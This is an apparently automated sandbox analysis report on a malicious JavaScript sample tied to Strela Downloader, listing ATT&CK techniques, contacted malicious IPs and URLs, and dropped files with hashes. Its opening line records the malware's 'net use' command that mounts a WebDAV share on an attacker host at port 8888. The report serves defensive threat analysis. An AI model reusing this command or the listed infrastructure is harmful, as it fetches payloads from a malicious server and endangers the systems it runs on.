Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3881066198165199.js	5%	Virustotal		Browse
3881066198165199.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/M~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/8	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/?	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/q~Hx	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/M~	net.exe, 00000007.00000003.1545642112.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554178175.000001FF38799000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/q~Hx	net.exe, 00000007.00000003.1545642112.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554178175.000001FF38799000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2768100745.0000021C38200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1546651905.0000021C37F70000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1545642112.000001FF38790000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1545642112.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1556974672.000001FF387BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554178175.000001FF38799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1539481227.000001FF387BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/?	net.exe, 00000007.00000002.1554081192.000001FF38768000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587971
Start date and time:	2025-01-10 20:01:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3881066198165199.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.22.50.151, 2.22.50.131, 2.16.168.105, 2.16.168.125, 2.16.168.107, 18.213.11.84, 4.245.163.56, 96.17.64.171, 13.107.253.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:02:55	API Interceptor	21x Sleep call for process: powershell.exe modified
14:02:59	API Interceptor	1x Sleep call for process: net.exe modified
14:02:59	API Interceptor	2x Sleep call for process: svchost.exe modified
14:03:07	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9191198332977923109.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7893194593206114961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2628895762659930884.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15410205613216010723.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021871651724869
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA3:RJE+Lfki1GjHwU/+vVhWqpm
MD5:	3671CB421421F3C3F17E22DD5DA235CE
SHA1:	84457058F15E14754FB7BCC6E7DF7CCD1EF00941
SHA-256:	17A93A7F27BF9616DC0BBBD2EA13BE975CD441B2B66C7AF55DBCAE8113BDB2AB
SHA-512:	28E84F84D3F1F51F652B8171701B2B9D3763FCFDBE6163C763EBE730A505E993E6830A750D00A9DDF2A66B7C9CD805C2A1E0D6223E60435C501DFA8A416B922A
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x7e92946d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9431845881677815
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:LazaHvxXy2V2UR
MD5:	5F6E18FA32281F658DDB607AB8ABA094
SHA1:	2D04A0AE833250669AF7C897EE8B5CF6F7F705B5
SHA-256:	AEC33C951543E5351E27FBE7F56E3D2183D218686882223B8A500BA1EC13C50E
SHA-512:	9250C32F6573FFF3D55CE1DC33C19F080F5128E9375DAF075B2F20C7C4D6CB6BA335732778E28A4FE735E4AE1C5B6B9B1203A4DA717DA1EDFAE2D7CD9AEE7C16
Malicious:	false
Preview:	~..m... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................NB......}W.................l........}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07796143544096203
Encrypted:	false
SSDEEP:	3:YlXKYeSBvYtqll/nqlFcl1ZUllllP58IeYllGBnX/l/Tj/k7/t:YlXKzcoqll/qlFclQ/lIIb254
MD5:	D100037C40687077F21E2F6E9E66CD0B
SHA1:	DB1D349FEAD8DC707C0D49A9A941DC509A157BBE
SHA-256:	33D00A9CE5713C0265442407F270A436556901F6F8A139156EF3B44BA09F5D95
SHA-512:	A573CF0EACB77D4AB078488FDFCB0579BBB5B451D5F88007EC066D65E199B41ACF277DA2DC293CA802771E0D2C07C41AEAD94CBAB3C381A26C812B65160EA44F
Malicious:	false
Preview:	.O......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s.................l........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.155462341772794
Encrypted:	false
SSDEEP:	6:iO4DV8Aq2PCHhJ2nKuAl9OmbnIFUtSDVaZmwsDVmkwOCHhJ2nKuAl9OmbjLJ:7g8AvBHAahFUtua/Mm56HAaSJ
MD5:	9036AB1F3A4C1673CAE17BD85FF5AE5B
SHA1:	D8DFB3B522874E227EC6315D6641299FD25F0F80
SHA-256:	9B57BE9F27C3EE9601CCCBBE213E38C5D5432A57EF50C732E50829A92F2618BF
SHA-512:	D3D9E74CAF160BBE9C56F9A11510BE84BA72816C0BDA0EFA8B8F27D447266776A40FD927EB4CD42056093A08EFB54F34E381BCAE6AAE93966E40A75C9AF66222
Malicious:	false
Preview:	2025/01/10-14:02:59.047 15b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:02:59.049 15b0 Recovering log #3.2025/01/10-14:02:59.049 15b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.155462341772794
Encrypted:	false
SSDEEP:	6:iO4DV8Aq2PCHhJ2nKuAl9OmbnIFUtSDVaZmwsDVmkwOCHhJ2nKuAl9OmbjLJ:7g8AvBHAahFUtua/Mm56HAaSJ
MD5:	9036AB1F3A4C1673CAE17BD85FF5AE5B
SHA1:	D8DFB3B522874E227EC6315D6641299FD25F0F80
SHA-256:	9B57BE9F27C3EE9601CCCBBE213E38C5D5432A57EF50C732E50829A92F2618BF
SHA-512:	D3D9E74CAF160BBE9C56F9A11510BE84BA72816C0BDA0EFA8B8F27D447266776A40FD927EB4CD42056093A08EFB54F34E381BCAE6AAE93966E40A75C9AF66222
Malicious:	false
Preview:	2025/01/10-14:02:59.047 15b0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:02:59.049 15b0 Recovering log #3.2025/01/10-14:02:59.049 15b0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.119483470554158
Encrypted:	false
SSDEEP:	6:iO4D0dMyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSDSh1ZmwsDS3RkwOCHhJ2nKuAl9OU:7RdMyvBHAa8uFUtvr/Z3R56HAa8RJ
MD5:	C4071C4BFDF233B15EDE6685B2B8F537
SHA1:	620780342F3929534B537ACB53AF9E64DCCF924B
SHA-256:	4EA3EA129B44A5B18B994A6B7A1027C8EB7BEE722C9972A08B26EE6405B6836D
SHA-512:	246AD4AA89C854FBD699E0607201AA3AD55CF57409D6D5DB94D87D05C15E8873F00A5AAE90F2570EADA70D15443790ED68A7A46690DEA907CFCD125FCED08440
Malicious:	false
Preview:	2025/01/10-14:02:59.109 18e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:02:59.111 18e0 Recovering log #3.2025/01/10-14:02:59.111 18e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.119483470554158
Encrypted:	false
SSDEEP:	6:iO4D0dMyq2PCHhJ2nKuAl9Ombzo2jMGIFUtSDSh1ZmwsDS3RkwOCHhJ2nKuAl9OU:7RdMyvBHAa8uFUtvr/Z3R56HAa8RJ
MD5:	C4071C4BFDF233B15EDE6685B2B8F537
SHA1:	620780342F3929534B537ACB53AF9E64DCCF924B
SHA-256:	4EA3EA129B44A5B18B994A6B7A1027C8EB7BEE722C9972A08B26EE6405B6836D
SHA-512:	246AD4AA89C854FBD699E0607201AA3AD55CF57409D6D5DB94D87D05C15E8873F00A5AAE90F2570EADA70D15443790ED68A7A46690DEA907CFCD125FCED08440
Malicious:	false
Preview:	2025/01/10-14:02:59.109 18e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:02:59.111 18e0 Recovering log #3.2025/01/10-14:02:59.111 18e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971404141106928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqansBdOg2HgZcaq3QYiub6P7E4T3y:Y2sRds3IdMHgg3QYhbS7nby
MD5:	A002869F458677B5988A43C369BFCB25
SHA1:	9CF4D07AB4F8CA040FD9728BCF93ADBF5A4EDD8C
SHA-256:	FC0E3F081E9B5A2E032705213B2C3F272AD914AC9A901CB675B51BF050103498
SHA-512:	544C5347BDA9C1769B88F3D6CFB1611149190113BF571DAA47B20C1C77BD218BC0C31CC4461D318853555AF726777C44A83C9D18CB21BA396BC276F58E2DF8B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095790715225","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132839},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a50f6c46-100c-4be3-a75d-4ca46433fbaa.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.971404141106928
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqansBdOg2HgZcaq3QYiub6P7E4T3y:Y2sRds3IdMHgg3QYhbS7nby
MD5:	A002869F458677B5988A43C369BFCB25
SHA1:	9CF4D07AB4F8CA040FD9728BCF93ADBF5A4EDD8C
SHA-256:	FC0E3F081E9B5A2E032705213B2C3F272AD914AC9A901CB675B51BF050103498
SHA-512:	544C5347BDA9C1769B88F3D6CFB1611149190113BF571DAA47B20C1C77BD218BC0C31CC4461D318853555AF726777C44A83C9D18CB21BA396BC276F58E2DF8B5
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381095790715225","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":132839},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.2371654044520195
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b+QtvVVcdx2i:S43C4mS7fFi0KFYDjr3LWO3V3aw+b+wG
MD5:	FCE0C5231FD9AE18766E3F7FBA621120
SHA1:	86362352B04CB59E56C9F9212B68E637859CDAD6
SHA-256:	8AA40D1D0FC78325E8191AE2D71F19561A30186574B7CADA873BAAE9FAF84A90
SHA-512:	4B425955037C0C0F439D881F8B5F4BCC38B5E2AE5BB5B2BB2218C3C224A861AA789615F808C15BBDF99759E67250237787F9F5F09D7018D9486AD7F7F6F34275
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175427766845834
Encrypted:	false
SSDEEP:	6:iO4D23yq2PCHhJ2nKuAl9OmbzNMxIFUtSD0Ew11ZmwsDcz9RkwOCHhJ2nKuAl9Ob:7x3yvBHAa8jFUtF/N9R56HAa84J
MD5:	0D1FBBC1E0DFB36C63AC6CABE014BA86
SHA1:	6BB6DA8E2DE74889831FAC8ADC34CD6DB105D883
SHA-256:	AB64DEBAC92716A27E9950FF7A808FA133E2A7927AA3805CEFE94A1253A96426
SHA-512:	E8F8B219D220DE7272874867FAD38C581C2AB1BF93F199C43566DC78EB4182788899FA52AA5DF3752805622456C694E8201DA7C30B7167BD53FAE9996949E3A5
Malicious:	false
Preview:	2025/01/10-14:02:59.717 18e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:02:59.719 18e0 Recovering log #3.2025/01/10-14:02:59.720 18e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175427766845834
Encrypted:	false
SSDEEP:	6:iO4D23yq2PCHhJ2nKuAl9OmbzNMxIFUtSD0Ew11ZmwsDcz9RkwOCHhJ2nKuAl9Ob:7x3yvBHAa8jFUtF/N9R56HAa84J
MD5:	0D1FBBC1E0DFB36C63AC6CABE014BA86
SHA1:	6BB6DA8E2DE74889831FAC8ADC34CD6DB105D883
SHA-256:	AB64DEBAC92716A27E9950FF7A808FA133E2A7927AA3805CEFE94A1253A96426
SHA-512:	E8F8B219D220DE7272874867FAD38C581C2AB1BF93F199C43566DC78EB4182788899FA52AA5DF3752805622456C694E8201DA7C30B7167BD53FAE9996949E3A5
Malicious:	false
Preview:	2025/01/10-14:02:59.717 18e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:02:59.719 18e0 Recovering log #3.2025/01/10-14:02:59.720 18e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
